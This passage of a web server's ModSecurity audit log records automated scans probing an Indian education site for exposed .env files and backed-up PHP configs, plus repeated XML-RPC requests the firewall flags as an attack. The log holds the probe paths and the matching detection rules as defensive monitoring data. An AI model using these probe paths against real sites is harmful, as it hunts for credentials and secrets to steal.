185.177.72.210 50634 127.0.0.1 7081 --43ff2d16-B-- GET /backup/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --43ff2d16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f8ca98d2a2790c55ec61efbf70eef4391750013043; expires=Sun, 15 Jun 2025 19:44:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --43ff2d16-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/config.php.old"] [unique_id "aE8UcqSMmxZaGWa7XLL42gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013042482907 665990 (- - -) Stopwatch2: 1750013042482907 665990; combined=2169, p1=339, p2=1706, p3=0, p4=0, p5=124, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --43ff2d16-Z-- --fdb5367c-A-- [16/Jun/2025:00:14:15.151655 +0530] aE8UfqSMmxZaGWa7XLL44AAAAAY 185.177.72.210 52368 127.0.0.1 7081 --fdb5367c-B-- GET /:10000/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fdb5367c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=46741f95ebfa2b31cb0fcf8ad48d0e9a1750013054; expires=Sun, 15 Jun 2025 19:44:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fdb5367c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/configura/.env"] [unique_id "aE8UfqSMmxZaGWa7XLL44AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013054478528 673194 (- - -) Stopwatch2: 1750013054478528 673194; combined=1908, p1=359, p2=1454, p3=0, p4=0, p5=94, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fdb5367c-Z-- --ffc2c812-A-- [16/Jun/2025:00:14:20.122841 +0530] aE8Ug8S9iiS_j7H7Go616QAAAAU 128.199.112.101 52556 127.0.0.1 7081 --ffc2c812-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ffc2c812-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ffc2c812-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Ug8S9iiS_j7H7Go616QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013059072949 1049946 (- - -) Stopwatch2: 1750013059072949 1049946; combined=2373, p1=416, p2=1465, p3=50, p4=66, p5=222, sr=110, sw=154, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ffc2c812-Z-- --1263d413-A-- [16/Jun/2025:00:14:20.547537 +0530] aE8Ug1eqy5hRjKvJEAyVcQAAAAE 185.177.72.210 41922 127.0.0.1 7081 --1263d413-B-- GET /:9000/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1263d413-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3dbc5d63f84dd442b7d87afc8a1106781750013060; expires=Sun, 15 Jun 2025 19:44:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1263d413-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.www"] [unique_id "aE8Ug1eqy5hRjKvJEAyVcQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013059848721 698908 (- - -) Stopwatch2: 1750013059848721 698908; combined=2148, p1=518, p2=1518, p3=0, p4=0, p5=112, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1263d413-Z-- --3ea60a47-A-- [16/Jun/2025:00:14:21.524761 +0530] aE8UhKSMmxZaGWa7XLL44wAAAAY 185.177.72.210 41990 127.0.0.1 7081 --3ea60a47-B-- GET /docker/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ea60a47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=324d48e304dbd85c68fbe7e065326a131750013061; expires=Sun, 15 Jun 2025 19:44:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ea60a47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/database/.env"] [unique_id "aE8UhKSMmxZaGWa7XLL44wAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013060866291 658556 (- - -) Stopwatch2: 1750013060866291 658556; combined=1715, p1=362, p2=1227, p3=0, p4=0, p5=125, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ea60a47-Z-- --0606e632-A-- [16/Jun/2025:00:14:44.638163 +0530] aE8Umy7MaF0j8lD2KTIRBAAAAAM 185.177.72.210 58094 127.0.0.1 7081 --0606e632-B-- GET /inc/config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0606e632-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=00554657201efc4fd8261e3bccd909711750013084; expires=Sun, 15 Jun 2025 19:44:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0606e632-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/inc/config.inc"] [unique_id "aE8Umy7MaF0j8lD2KTIRBAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013083982112 656129 (- - -) Stopwatch2: 1750013083982112 656129; combined=1814, p1=300, p2=1395, p3=0, p4=0, p5=118, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0606e632-Z-- --ff91b979-A-- [16/Jun/2025:00:14:48.654307 +0530] aE8UoKzY0BMZNmg1_r15GQAAAAc 185.177.72.210 58488 127.0.0.1 7081 --ff91b979-B-- GET /:8880/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff91b979-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bcd7830ffa4dba6562566aa048de77331750013088; expires=Sun, 15 Jun 2025 19:44:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff91b979-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/pub/.env"] [unique_id "aE8UoKzY0BMZNmg1_r15GQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013088013427 640938 (- - -) Stopwatch2: 1750013088013427 640938; combined=2027, p1=374, p2=1577, p3=0, p4=0, p5=76, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff91b979-Z-- --c4b17b75-A-- [16/Jun/2025:00:14:51.581667 +0530] aE8UoqSMmxZaGWa7XLL5BQAAAAY 185.177.72.210 33696 127.0.0.1 7081 --c4b17b75-B-- GET /:5000/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4b17b75-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0eb269fc1df2443fa4656946ef6691b11750013091; expires=Sun, 15 Jun 2025 19:44:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4b17b75-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.www"] [unique_id "aE8UoqSMmxZaGWa7XLL5BQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013090899220 682516 (- - -) Stopwatch2: 1750013090899220 682516; combined=2196, p1=421, p2=1691, p3=0, p4=0, p5=83, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4b17b75-Z-- --21d78504-A-- [16/Jun/2025:00:15:04.652277 +0530] aE8Ury7MaF0j8lD2KTIRFwAAAAM 185.177.72.210 58380 127.0.0.1 7081 --21d78504-B-- GET /tmp/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21d78504-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f57faa209390c83052665239d93a9711750013104; expires=Sun, 15 Jun 2025 19:45:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21d78504-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/config.php.old"] [unique_id "aE8Ury7MaF0j8lD2KTIRFwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013103997639 654714 (- - -) Stopwatch2: 1750013103997639 654714; combined=2680, p1=426, p2=2134, p3=0, p4=0, p5=119, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21d78504-Z-- --7864220f-A-- [16/Jun/2025:00:15:13.453701 +0530] aE8UuCKD19h5xDtM-2wVVQAAAAo 185.177.72.210 35486 127.0.0.1 7081 --7864220f-B-- GET /app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7864220f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96ef31e126ccfe138da9725c707576cb1750013113; expires=Sun, 15 Jun 2025 19:45:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7864220f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/.env"] [unique_id "aE8UuCKD19h5xDtM-2wVVQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013112781923 671852 (- - -) Stopwatch2: 1750013112781923 671852; combined=1882, p1=381, p2=1406, p3=0, p4=0, p5=94, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7864220f-Z-- --e0abc838-A-- [16/Jun/2025:00:15:20.921899 +0530] aE8Uv3JNE8RtYqH8JCs81wAAAAI 128.199.112.101 59608 127.0.0.1 7081 --e0abc838-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e0abc838-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e0abc838-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Uv3JNE8RtYqH8JCs81wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013119975301 946653 (- - -) Stopwatch2: 1750013119975301 946653; combined=2131, p1=359, p2=1387, p3=42, p4=61, p5=176, sr=97, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0abc838-Z-- --ad63d652-A-- [16/Jun/2025:00:16:20.317564 +0530] aE8U-2uCR1auBLUP7R-lwAAAAAg 128.199.112.101 37170 127.0.0.1 7081 --ad63d652-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ad63d652-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ad63d652-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8U-2uCR1auBLUP7R-lwAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013179370923 946709 (- - -) Stopwatch2: 1750013179370923 946709; combined=2163, p1=357, p2=1329, p3=51, p4=75, p5=216, sr=94, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad63d652-Z-- --ee1c9935-A-- [16/Jun/2025:00:16:34.396067 +0530] aE8VCS7MaF0j8lD2KTIRSAAAAAM 185.177.72.210 52850 127.0.0.1 7081 --ee1c9935-B-- GET /xampp/lang.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ee1c9935-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a374414a22c4465442f48f6fae7a70aa1750013194; expires=Sun, 15 Jun 2025 19:46:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ee1c9935-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/lang.php.bak"] [unique_id "aE8VCS7MaF0j8lD2KTIRSAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013193679012 717140 (- - -) Stopwatch2: 1750013193679012 717140; combined=2540, p1=415, p2=2010, p3=0, p4=0, p5=115, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ee1c9935-Z-- --08885a44-A-- [16/Jun/2025:00:16:35.375378 +0530] aE8VCnJNE8RtYqH8JCs9BgAAAAI 185.177.72.210 52912 127.0.0.1 7081 --08885a44-B-- GET /wp-konfig.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08885a44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 